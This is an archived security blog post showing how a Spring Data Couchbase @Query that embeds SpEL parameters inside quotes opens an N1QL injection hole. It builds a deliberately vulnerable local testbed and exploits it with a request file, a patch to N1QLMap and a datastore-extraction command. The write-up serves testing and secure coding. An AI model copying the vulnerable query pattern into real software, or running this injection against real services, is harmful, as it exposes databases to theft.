Improper Spring @Query Usage Allows N1QL Injection

Improper Spring @Query Usage Allows N1QL Injection - pavel, Gremwell.

- Published: date not stated
- Original: <https://www.gremwell.com/spring-n1ql-injection>
- Preserved from: https://www.gremwell.com/spring-n1ql-injection (live) on 2026-09-13
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Improper Spring @Query Usage Allows N1QL Injection

-

Summary

-

TL;DR

-

Intro

-

Testbed

-

Couchbase

-

Spring Project

-

Build

-

Experiments

-

Exploitation

-

Conclusion

Summary

Spring applications quite often use `@Query` annotation. It helps to control requests executed by database servers, like customising what data to extract. It is usually assumed that `@Query` is safe as parameterised queries are used. (Un)fortunately, Spring supports quite complex syntax of `@Query` which leads to complexity and, inadvertently, errors.

In this short blog post we demonstrate an example of how to use `@Query` improperly to introduce SQL (in fact, NoSQL) injection vulnerability. We will use NoSQL database Couchbase which supports N1QL syntax. We also demonstrate how such injection can be exploited using N1QLMap tool.

TL;DR

It indeed may be too long to read. :) We have found a construct that is often used in Java code for N1QL queries, that appear to be safe at first glance, but actually leads to N1QL injection:

@Query("#{#n1ql.selectEntity} WHERE #{#n1ql.filter} AND #{[0]} = '#{[1]}'") List<Person> vulnFind(String field, String val);

Exploiting this using N1QLMap by FSecure allows extracting database meta information and any data from the Couchbase bucket. This post provides some background information, project example and exploitation example.

Intro

This happened during one of our regular assessments of a customer's REST services. We did not expect any high severity issues there. What could go wrong with Sping-based REST services? Well, of course a lot: access control issues, business logic discrepancies and so on. But the last thing we expected is a SQL injection finding reported by Burp's Automated Scanner.

The scanner was not able to determine database used by the backend, but, thanks to the observed error message, it was definitely Couchbase. Traditional SQLMap tool is not able to exploit such cases. Thus, the spotted SQL injection requires some specific tooling.

The affected REST service had some features complicating exploitation: no verbose error messages and hardcoded request timeout which eliminated time-based queries abuse. Because of that we decided to set up a testbed and use it to nail down the injection.

Testbed

Couchbase

Let's start with Couchbase as it is easy to do and is mostly unrelated to the rest of the discussion.

This project can be taken as a test environment: https://hub.docker.com/r/couchbase/analytics-demo/ Its index page describes what needs to be done. However, there are no specific requirements for Couchbase setup, so any other project/container can be used.

Once Couchbase instance is up and running, a bucket needs to be created there. The bucket name depends on the project described below. It is `demo` in our case.

Spring Project

We started with preparing a simple "Hello World" Spring project which provides REST interface to a Couchbase bucket. The idea was to understand what developer is allowed do and what can be done wrong.

The entry point from our perspective is some endpoint to fetch a specified data instance (or "document" in terms of NoSQL databases). Here is an excerpt of a controller which returns an entity by its identifier:

@GetMapping("/{id}") public Person findOne(@PathVariable String id) { return personRepository.findById(id).orElseThrow(PersonNotFoundException::new); }

`Person` class is not of particular interest, it is just a simple container of fields, with getters and setters:

import org.springframework.data.annotation.Id; import org.springframework.data.couchbase.core.mapping.Document;

@Document public class Person { @Id private String id; private String firstName; private String lastName;

public String getId() { return id; }

public void setId(String id) { this.id = id; }

public String getFirstName() { return firstName; }

public void setFirstName(String firstName) { this.firstName = firstName; }

public String getLastName() { return lastName; }

public void setLastName(String lastName) { this.lastName = lastName; } }

`PersonRepository` class however is something that needs a closer look. In its simplest form it does not have any methods at all:

import org.springframework.data.couchbase.repository.CouchbaseRepository; import org.springframework.stereotype.Repository;

@Repository public interface PersonRepository extends CouchbaseRepository<Person, String> { }

`findById()` method is automagically handled by `CouchbaseRepository`. It will extract only one entity from Couchbase bucket which has identifier field (marked with `@Id` annotation) equal to the requested `id`.

Let's say we want to obtain persons which have the specific first name. We create a new controller's endpoint for that:

@GetMapping("/fname/{firstName}") public List<Person> findByFList(@PathVariable String firstName) { return personRepository.findByFirstName(firstName); }

And the corresponding repository method:

@Repository public interface PersonRepository extends CouchbaseRepository<Person, String> { List<Person> findByFirstName(String firstName); }

Does not look vulnerable yet. However, this issue suggests different. Surprisingly, this report was declined. Interesting. Let's dive deeper and create an endpoint which gives us more control on what we request from the database:

@PostMapping("/vuln") public List<Person> vuln(@RequestBody VulnData data) { return personRepository.vulnFind(data.getParam(), data.getValue()); }

Here we use a simple model class which has just two parameters `param` and `value`. `value` defines what to request and `param` defines what field to use for the value. Here is the corresponding repository method which we can use for experiments with Sping @Query annotation:

@Query("#{#n1ql.selectEntity} WHERE firstName = $2") List<Person> vulnFind(String field, String val);

Now let's proceed with our experiments.

Build

Well, to run experiments we need to build the project first. The project is on Github, n1ql-demo. Run `mvn compile` to compile the source code and `mvn spring-boot:run` to run the Spring application.

Experiments

In the following code snippet we use a `@Query` annotation to narrow down our interests in data extraction:

@Query("#{#n1ql.selectEntity} WHERE firstName = $2") List<Person> vulnFind(String field, String val);

`#{#n1ql.selectEntity}` is a Spring Expression Language expression (`#{}`) which references N1QL addition to Spring "data" framework. `.selectEntity` statement extracts all fields of the corresponding bucket entity. What entity to select is specified by `WHERE firstName = $1` statement. This is quite self-explanatory: we select only entities which have `firstName` field equal to some value. The value in this example is the second parameter of the annotated method -- `val`.

The provided example is a parameterised query. Spring, when handling such queries, mitigates context breaking by escaping quotes.

Alternatively, developer can opt for named parameters. In this case the syntax should be the following:

@Query("#{#n1ql.selectEntity} USE KEYS $id") List<Person> vulnFind(String field, @Param("id") String id);

This is also a parameterised query. We do not expect to spot injections here. At least when using the most recent version of `spring-data-couchbase` artifact, `4.2.4`, at the moment of this blog post.

All the examples above we collected from this introductory article. Among them there was a quite suspicious one which "mixes SpEL and N1QL placeholders":

@Query("#{#n1ql.selectEntity} WHERE #{#n1ql.filter} AND #{[0]} = $2") public List<User> findUsersByDynamicCriteria(String criteriaField, Object criteriaValue)

It appears that in addition to referencing parameters by `$X` we can use `#{[X]}` syntax. Let's try that!

@Query("#{#n1ql.selectEntity} WHERE #{#n1ql.filter} AND #{[0]} = #{[1]}") List<Person> vulnFind(String field, String val);

Here we expect that this query will compare document field specified in `field` parameter to value in `val` parameter. However, when we ask for a person with `firstName` equal to `SomeFirstName` it does not return anything (well, we assume that such document exists).

Ah, may be it inserts value as-is and string comparison does not work? Let's add quotes:

@Query("#{#n1ql.selectEntity} WHERE #{#n1ql.filter} AND #{[0]} = '#{[1]}'") List<Person> vulnFind(String field, String val);

It works! But wait, quotes... What if we insert one in our field value? Yep, it triggers database exception as query context was broken. Here is the request we observed in the Spring exception message:

"statement":"SELECT META(`demo1`).id AS __id, META(`demo1`).cas AS __cas, `demo1` .* FROM `demo1` WHERE `_class` = \"com.example.demo.persistence.model.Person\" AND firstName = 'LONGFIR'STNAME'"

This is an injection. N1QL injection to be precise. Now it is time to exploit it.

Exploitation

It is interesting to exploit the finding in automated way. We can not use SQLMap tool here as it is literally NoSQL injection.

Good people of F-Secure already wrote a tool for this purpose. They also provided a great introduction to NoSQL injection exploitation. You can find it here.

In order to use their tool, N1QLMap, we have to prepare a request file:

POST /api/persons/vuln HTTP/1.1 Host: 127.0.0.1:8081 User-Agent: curl/7.78.0 Accept: */* Content-Type: application/json

{ "param":"firstName", "value": "/" }

We noted that the tool does not properly handle requests with body. This small change is required:

--- a/controllers/n1qlinjector.py +++ b/controllers/n1qlinjector.py @@ -85,8 +85,9 @@ class N1QLInjector: url = url.replace(self.injection_point, payload) request = Request(method, url.decode(self.encoding)) prep_req = self.session.prepare_request(request)

- if prep_req.body is not None:
- prep_req.body = self.base_request.body.replace(self.injection_point, payload)
- #if prep_req.body is not None:
- # prep_req.body = self.base_request.body.replace(self.injection_point, payload)
- prep_req.body = self.base_request.body.replace(self.injection_point, payload)

payload = payload.decode(self.encoding) replace_chars = self.injection_point.decode(self.encoding) for header_name in self.base_request.headers:

Running the tool with a proper set of parameters returns the expected outcome:

./n1qlMap.py --request ./req1.txt --keyword "firstName" --datastores http://127.0.0.1:8081/ [*] *Datastores extraction process started [*]* Extracted data: \{"datastores": {"id":"http://127.0.0.1:8091","url":"http://127.0.0.1:8091"}}]

Here we asked the tool to execute requests based on the content of `req1.txt` file. Put injection in place of `*i*` spot. Expect "firstName" string in responses of successful requests (this is essential for this tool to work). We also asked to extract Couchbase "datastores". `http://127.0.0.1:8081/` is a listening socket of our Spring application.

The tool allows to extract more information, see its help page. It also allows to execute arbitrary N1QL queries. Their full reference is here.

To what extent this can be exploited is another topic. At least, arbitrary data from the same bucket should be available. This already should proof the validity of N1QL injection finding.

Conclusion

We may conclude that it is possible to write a vulnerable application even by using generally safe instruments. It is also a lesson that you can not just state: we use Spring, we use `@Query` annotation, so we are safe from SQL/NoSQL injections. This is not the case as this article demonstrates.

Contacts

[image: image]

+32 (0) 2 215 53 58

[image: image]

info@gremwell.com

[image: image]

Gremwell BVBA Sint-Katherinastraat 24 1742 Ternat Belgium VAT: BE 0821.897.133.